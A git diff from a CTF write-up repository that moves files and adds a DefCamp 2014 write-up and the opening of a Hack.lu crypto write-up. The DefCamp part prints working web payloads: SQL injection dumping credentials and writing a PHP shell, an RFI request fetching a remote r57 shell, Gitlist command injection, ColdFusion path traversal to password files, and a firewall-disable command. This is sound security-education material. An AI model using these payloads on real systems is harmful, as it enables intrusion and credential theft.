b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/networking/pcap.pcapng similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/networking/pcap.pcapng rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/networking/pcap.pcapng diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/README.md similarity index 98% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/README.md index 8b599aa..10a6d3e 100644 --- a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/README.md +++ b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/README.md @@ -126,9 +126,7 @@ while True: # flag{trust_is_risky} ``` -Yaaay! The flag is **trust_is_risky**! Easy! - -**Hack all the things!** + The flag is **trust_is_risky**! Easy! [uncompyle2]: https://github.com/gstarnberger/uncompyle diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/capstone.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/capstone.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/capstone.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/capstone.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/distorm.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/distorm.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/distorm.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/distorm.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/interpreter.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/interpreter.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/interpreter.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/interpreter.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/lol.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/lol.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/lol.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/lol.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/main.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/main.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/main.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/main.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/server.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/server.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/server.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/server.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/shellcode.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/shellcode.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/shellcode.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/shellcode.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/wrapper.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/wrapper.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/wrapper.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/wrapper.py diff --git a/CTFs_and_WarGames/CTFs_Writeups/DefCamp/README.md b/CTFs_and_WarGames/CTFs_Writeups/DefCamp/README.md new file mode 100644 index 0000000..5154b3d --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/DefCamp/README.md @@ -0,0 +1,381 @@ +# Exploring D-CTF Quals 2014's Exploits + +## Vulnerabilities + + + +### Remote File Inclusion and Local File Inclusion Vulnerabilities + +In [Remote File Inclusion] (RFI) an attacker can load exploits to the server. An attacker can use RFI to run exploits in both server and client sides. PHP's [include()](http://php.net/manual/en/function.include.php) is extremely vulnerable to RFI attacks. + + +[Local File Inclusion](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) (LFI) is similar to RFI but only files that are currently in the server can be included. This type of vulnerability is seemed in forms for file uploading (with improper sanitation). + +An example of RFI exploitation is the case where the form only accepts some type of extensions (such as JPG or PNG) but the verification is made in the client side. In this case, an attacker can tamper the HTTP requests to send shellcode (with PHP extension, for example). I've shown examples of this attack in the [Natas post]. There I've explained that the trick was to rename a PHP shell code to one of these safe extensions. + + +[Remote File Inclusion]: http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion + + + + +### TimThumb and LFI + +[TimThumb] is a PHP script for manipulating web images. It was recently [discontinued because of security issues]. + +With TimThumb 1.33, an attacker is able to upload a shell by appending it to an image. All she needs to do is to have it in some online subdomain. TimThumb will store this image in a cache folder and generate an MD5 of the full path of the shell. The last step is to perform an LFI attack with the shell in this folder. Check this [example of LFI exploitation](http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html). + + + +[TimThumb]: https://code.google.com/p/timthumb/ +[discontinued because of security issues]:http://www.binarymoon.co.uk/2014/09/timthumb-end-life/ + + + + + +### CMS Mini and RFI + + +[CMS Mini] is a file system to build simple websites. It has [several vulnerabilities] such as [CSRF], RFI, and [XSS]. + +[CSRF]: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) +[XSS]: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) + + +An example of RFI vulnerability in CMS Mini is explored using curl: + +```http +http:// +[target/IP]/cmsmini/admin/edit.php?path=&name=../../../../../etc/passwd +``` + +For more examples of exploits, check [1337day] and [this exploit-db]. + +[1337day]: http://1337day.com/exploit/3256 +[several vulnerabilities]: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2961 + +[this exploit-db]: http://www.exploit-db.com/exploits/28128/ +[CMS Mini]: http://www.mini-print.com/ + + + + + + + + + + + + + + + + +### ApPHP and Remote Code Execution + +[ApPHP](http://www.apphp.com/) is a blog script. It is known for having [several vulnerabilities], including [remote code execution] (RCE). An example of RCE exploit for ApPHP [can be seen here]. A good start is to check the PHP's [disable_function](http://php.net/manual/en/ini.core.php#ini.disable-functions) list for stuff to hacker the server. + +[several vulnerabilities]: http://www.exploit-db.com/exploits/33030/ +[remote code execution]: https://www.owasp.org/index.php/PHP_Top_5#P1:_Remote_Code_Execution + +[can be seen here]: http://www.exploit-db.com/exploits/33070/ + + + +In this CTF, the challenge was to find what was not in that list. For instance, it was possible to use [$_POST](http://php.net/manual/en/reserved.variables.post.php) and [$_COOKIE](http://php.net/manual/en/reserved.variables.cookies.php) to send strings to functions such as [scandir()](http://php.net/manual/en/function.scandir.php) and [get_file_contents()](http://php.net/manual/en/function.file-get-contents.php): + +```http +GET Request: ?asdf);print_r(scandir(implode($_COOKIE))=/ +Cookie: 0=include +``` + +In addition, with a writable directory we can drop a shell in the server (you can use script-kiddies scripts like [r57 shell.net](http://www.r57shell.net/), but in real life, keep in mind that they are super uber [backdoored](http://thehackerblog.com/hacking-script-kiddies-r57-gen-tr-shells-are-backdoored-in-a-way-you-probably-wouldnt-guess/#more-447)). + +```http +Post Request: 0=include/myfile.php +Cookie: 0=http://www.r57shell.net/shell/r57.txt +``` + + +### Gitlist and Remote Command Execution + +[Gitlist] is an application to browse GitHub repositories in a browser. The versions up to 5.0 are known for [allowing remote attackers to execute arbitrary commands via shell], a type of [command injection]. Exploits for this vulnerability can be seen at [hatriot], at [packet storm], at [1337day], and at [exploit-db]. + +In this CTF, the following command could be used to look for the flag: + +```http +http://10.13.37.33/gitlist/redis/blame/unstable/README%22%22%60ls%20-al%60 +``` + + +[exploit-db]: http://www.exploit-db.com/exploits/33990/ +[1337day]: http://en.1337day.com/exploit/22391 +[packet storm]: http://packetstormsecurity.com/files/127364/Gitlist-Unauthenticated-Remote-Command-Execution.html +[hatriot]: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/ +[command injection]: http://cwe.mitre.org/data/definitions/77.html +[allowing remote attackers to execute arbitrary commands via shell]: http://www.websecuritywatch.com/arbitrary-command-execution-in-gitlist/ +[Gitlist]: http://gitlist.org/ + + +### LibreOffice's Socket Connections + +LibreOffice's has a binary [soffice.bin] that takes socket connections on the *port 2002* (in this CTF, in the VPN's localhost). + +For instance, the command [unoconv] can be used to convert a file to a LibreOffice supported format. The flag **-c** opens a connection by the client to connect to an LibreOffice instance. It also can be used by the listener to make LibreOffice listen. + +From the documentation, the default connection string is: + +```http +Default connection string is "socket,host=localhost,port=2002;urp;StarOffice.ComponentContext" +``` + +Therefore, you can connect to the socket and convert some document (such as */flag.txt*) to a PDF for example: + +```sh +$ unoconv --connection 'socket,host=127.0.0.1,port=2002;urp;StarOffice.ComponentContext' -f pdf /flag.txt +``` + +An example of a payload can be seen [here]. + + +[here]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400 +[unoconv]: http://linux.die.net/man/1/unoconv +[LibreOffice]: http://www.libreoffice.org/ +[soffice.bin]: http://www.processlibrary.com/en/directory/files/soffice/66728/ + +### ColdFusion and Local File Disclosure + +[ColdFusion] is an old web application development platform. It carries its own (interpreted) language, **CFM**, with a Java backend. + +CFM has scripting features like ASP and PHP, and syntax resembling HTML and JavaScript. ColdFusion scripts have **cfm** and **cfc** file extension. For instance, [Adobe ColdFusion 11] and [Railio 4.2], the two platform accepting CFM, were both released in the beginning of 2014. + +The problem is that CFM is [vulnerable to a variety of attacks], including [Local File Disclosure](https://www.owasp.org/index.php/Full_Path_Disclosure) (LFD) and SQL injection (SQLi). Adding this to the fact that ColdFusion scripts usually run on elevated privileged users, we have a very vulnerable platform. + +[Railio 4.2]: http://www.getrailo.org/ +[ColdFusion]: http://en.wikipedia.org/wiki/Adobe_ColdFusion +[Adobe ColdFusion 11]: http://www.adobe.com/products/coldfusion-family.html + + +#### SQL Injection (SQLi) + + +[SQL Injection](https://www.owasp.org/index.php/SQL_Injection) is a classic attack where one injects exploits in a [SQL query](http://technet.microsoft.com/en-us/library/bb264565(v=sql.90).aspx). Vulnerabilities of this type can be spotted in queries such as **index.php?id=1**. I showed some of these exploits in my [Natas post]. + +In this CTF, these were some of the exploits that could be used: + +* List everything in a database, where **0x3a** is the hexadecimal symbol for **:**: +```sql +UNION ALL SELECT 1,concat(username,0x3a,password,0x3a,email),3 FROM cms.users-- +``` + +* See the password file content: +```sql +UNION ALL SELECT 1,LOAD_FILE("/etc/passwd"),3-- +``` + +* Write files and create a PHP shell into **URL/shell.php**, we can use a parameter **x** to takes a parameter to be executed (based on [this]): + +``` +UNION ALL SELECT 1 "',3 INTO OUTFILE '/var/www/html/shell.php"-- +``` + +Notice the *trailing pair of hyphens* **--** which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed (it removes the trailing single-quote left over from the modified query). To learn more about how to mitigate SQLi, I recommend [OWASP's SQLi Prevention Cheat Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet +) and [this nice guide for SQLi mitigation](http://owtf.github.io/boilerplate-templates/SQLinjection.html) by OWSAP OWTF. + + + +By the way, it's useful in general to know [HTML URL Encoding] to craft these URLs. + +[this]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400 +[HTML URL Encoding]: http://www.w3schools.com/tags/ref_urlencode.asp + + + + +### CesarFTP 0.99g and Buffer Overflow + +[CesarFTP 0.99g](http://www.softpedia.com/get/Internet/Servers/FTP-Servers/Cesar-FTP.shtml) is an easy-to-use FTP server. It is also known for having several vulnerabilities, including [buffer overflow](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2961). + +For example, see this exploit for **Metasploit** from [exploit-db](http://www.exploit-db.com/exploits/16713/) (or [an older one here](http://www.exploit-db.com/exploits/1906/)). + + + +#### File Disclosure of Password Hashes + +This vulnerability provides a 30-second window in the Administration panel, which can e use to write a shellcode. The main idea is a [directory traversal] to the **password.proprieties** that can be used to login in the server. + +Ingredients of this attack are: + +* The target must have ColdFusion administrator available, which is by default mapped to ***CFIDE/administrator/enter.cfm***. If it gets [500], it should be switched to HTTPS. + +* At the ColdFusion administrator, verify the version, and then use these injections: + +``` +(Version 6): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en + +(Version 7): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en + +(Version 8): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en + +(All versions): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en +``` + +* Now a shell can be written to a file and added in **Schedule New Task**. See detailed instructions at [blackhatlib], at [infointox], at [gnucitizen], at [kaoticcreations], at [cyberguerilla], at [jumpespjump], and at [hexale]. + + +[jumpespjump]: http://jumpespjump.blogspot.com/2014/03/attacking-adobe-coldfusion.html +[kaoticcreations]: http://kaoticcreations.blogspot.com/2012/11/hacking-cold-fusion-servers-part-i.html +[cyberguerilla]: https://www.cyberguerrilla.org/blog/?p=18275 +[vulnerable to a variety of attacks]: http://www.intelligentexploit.com/view-details.html?id=12750 +[gnucitizen]: http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/ +[hexale]: http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html +[infointox]: http://www.infointox.net/?p=59 +[directory traversal]: https://www.owasp.org/index.php/Path_Traversal +[500]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes +[blackhatlib]: http://www.blackhatlibrary.net/Coldfusion_hacking + +---- + + +## Useful Tools + + +### Vulnerability Scanners + +Vulnerability scanners can be useful for several problems. For instance, for a PHP static source code analyzer, we can use [RIPS](http://rips-scanner.sourceforge.net/). + +In this CTF we had to scan for [Heartbleed](http://en.wikipedia.org/wiki/Heartbleed), and we used [this script](https://gist.githubusercontent.com/eelsivart/10174134/raw/5c4306a11fadeba9d9f9385cdda689754ca4d362/heartbleed.py). + +### Scapy + +[Scapy](http://packetlife.net/blog/2011/may/23/introduction-scapy/) is a Python lib for crafting packets. It can be useful for problems such as [port knocking](http://en.wikipedia.org/wiki/Port_knocking). For illustration, check this [example from PHD CTF 2011](http://eindbazen.net/2011/12/phd-ctf-quals-2011-%E2%80%93-port-knocking/) and this from [ASIS CTF 2014](http://blog.dul.ac/2014/05/ASISCTF14/). Check [this project](https://code.google.com/p/pypk/source/browse/branches/release-0.1.0/knocker.py?r=3) too. + + +### Steganography + +One of the questions had a reference to the [paranoia.jar] tool, which hides text in an image file using [128 bit AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encryption. + +To run the tool (after downloading it) just do: + +```sh +java -jar paranoia.jar +``` + +[paranoia.jar]: https://ccrma.stanford.edu/~eberdahl/Projects/Paranoia/ + +### HTTP/HTTPS Request Tampering + +Very useful for the RFI problems (but not limited to them): + +* [Tamper Data]: view and modify HTTP/HTTPS headers. +* [Burp]: a Java application to secure or penetrate web applications. + + +[Burp]: http://portswigger.net/burp/ +[Tamper Data]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/ + + +### Wireshark + +At some point I'm going to dedicate an entire post for [Wireshark](https://www.wireshark.org/), but for this CTF the important things to know were: + +* Look for POST requests: +``` +http.request.method == "POST" +``` +* Submit the found data (same username, nonce, and password) with the command: +``` +$ curl --data 'user=manager&nonce=7413734ab666ce02cf27c9862c96a8e7&pass=3ecd6317a873b18e7dde351ac094ee3b' HOST +``` + + +### [Exif] data extractor: + +[ExifTool] is used for reading, writing, and manipulating image metadata: +```sh +$ tar -xf Image-ExifTool-9.74.tar.gz +$ cd Image-ExifTool-9.74/ +$ perl Makefile.PL +$ make test +$ sudo make install +$ exiftool IMAGEFILE +``` + +### MD5 Lookups + +Several hashes in this CTF needed to be searched. Google, in general, does a good job, but here are some specific websites: [hash-killer] and [md5this]. + + +[hash-killer]: http://hash-killer.com/ +[md5this]: http://www.md5this.com/ + + +### In the Shell + +* **Hexadecimal decoders** are essential. You can use Python's [hex](https://docs.python.org/2/library/functions.html#hex): + +```sh +$ python -c 'print "2f722f6e6574736563".decode("hex")' +/r/netsec +``` + +or command line [xxd]: + +```sh +$ yum install vim-common +$ xxd -r -p <<< 2f722f6e6574736563 +/r/netsec +``` + +* **Base64 decoders** are also essential: + +```sh +$ base64 --decode <<< BASE64STRING > OUTPUT +``` + +* **nmap**, obviously. You can use it in Python scripts, using the [subprocess](https://docs.python.org/2/library/subprocess.html) library: +```python +print "[*] Scanning for open ports using nmap" +subprocess.call("nmap -sS -sV -T4 -p 22-2048 " + base_URL, shell=True) +``` + + +* **tee** is nice to store and view the output of another command. It can be very useful with *curl*. A simple example: +```sh +$ ls | tee file +``` + + +* **chattr** is used to change the file attributes of a Linux file system. For example, the command ```chattr +i``` on a file make it not be able to be removed (useful for *zombie* processes hunting). + +* **nm** is useful for listing symbols from object files + + +* **md5 hashing** is used all the time: + +```sh +$ echo -n password | md5sum +5f4dcc3b5aa765d61d8327deb882cf99 +``` + + +* You might want to **append a shell code to an image** (for example, a GIF file): +```sh +$ cat PHP-shell.php >> fig.gif +``` + +* Now a special one: Windows! One of the trivia questions in this CTF. How to disable the Windows XP Firewall from the command line: +```sh +netsh firewall set opmode mode=DISABLE. +``` + + + +[tcpdump]: http://linux.die.net/man/8/tcpdump +[ExifTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/index.html +[Exif]: http://en.wikipedia.org/wiki/Exchangeable_image_file_format +[writeups]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/misc-100 +[xxd]: http://linuxcommand.org/man_pages/xxd1.html +[Natas post]: http://https://singularity-sh.vercel.app/exploiting-the-web-in-20-lessons-natas.html \ No newline at end of file diff --git a/CTFs_and_WarGames/2014/Hack.lu/300_peace_pipe.py b/CTFs_and_WarGames/CTFs_Writeups/Hack.lu/300_peace_pipe.py similarity index 100% rename from CTFs_and_WarGames/2014/Hack.lu/300_peace_pipe.py rename to CTFs_and_WarGames/CTFs_Writeups/Hack.lu/300_peace_pipe.py diff --git a/CTFs_and_WarGames/CTFs_Writeups/Hack.lu/README.md b/CTFs_and_WarGames/CTFs_Writeups/Hack.lu/README.md new file mode 100644 index 0000000..720cb2b --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/Hack.lu/README.md @@ -0,0 +1,257 @@ +# The Peace Pipe at Hack.lu's Final CTF 2014 + + +## Understanding the Problem + +The problem starts with this weird story: + + After a long day, you sit around a campfire in the wild wild web with a few Sioux you met today. + To celebrate friendship one of them takes out his wooden peace pipe and minutes later everyone seems to be pretty dizzy. + You remember that their war chief "Makawee" started something to say about a secret tipi filled with fire-water (the good stuff). But when he noticed your interest he immediately stopped talking. + You recall that "Makawee" spoke with "Wahkoowah" about that issue, but it ended with a fight. + Since then Makawee wouldn't talk to Wahkoowah anymore. While they argued "Chapawee" wrote something down. + Maybe you can exploit their dizzyness to find out the location of the tipi. + +Then it gives us three *ports* in the *host*. With the first one, we talk to **Chapawee**: + + wildwildweb.fluxfingers.net 1432 + +With the second, we talk to **Wankoowah**: + + wildwildweb.fluxfingers.net 1433 + + +Finally, with the third, we talk to **Makawee**: + + wildwildweb.fluxfingers.net 1434 + +It was obvious that this game was about fooling our fellow *stoned* native-Americans. + +### A Dialogue with Chapawee + +When we *netcat* to **Chapawee** he answers: +```sh +$ nc wildwildweb.fluxfingers.net 1432 +Hi I'm Chapawee. I know the truth about the stars +Say stars for more +``` + +We answer *stars* and get a funny menu: + +```sh + I can tell you the truth about + * constellation + * namestar [starname] [key_of_truth] Adds a public key to a user. + Existing users cannot be + overwritten. Input is + [a-f0-9]{1,700}. + * showstar [starname] Reads the public key from the + database. +``` + +The first option *constellation*, shows a very interesting scheme: + +![cyber](http://i.imgur.com/OzVjrVh.png) + +Choosing the options **namestar** we are able to pick a (new) name to add a key. Picking the option **showstar** we are able to see the key for some name (for example, for Wahkoowar, Makawee, or any new name we had added before). + +So, from the above scheme, we know: + +1. How a **message** (t) is created with someone's public key, a **random rational number** (r_w), and a given **modulo number** (p). The only unknown here is r_w, which is a rational number (Q). This mean that any plans to brute force the messages wouldn't work (however, if r_w was an integer, this task could be achieved). + +2. Everyone has a private key that is modulo p. We never learn anything about anyone's private keys. We just know that they could be of the order of p (which is a really large number, ~1E2048). + +3. Wahkoowah and Makawee have a shared secret key. The way they share this key without knowing each other's private key is by this tricky transformation: + +![cyber](http://i.imgur.com/TwxShK9.jpg) + +Notice that we can move the multiplications' modulo operation to the end, due to [this propriety](http://en.wikipedia.org/wiki/Modular_arithmetic#Congruence_relation). + + +In conclusion, all we 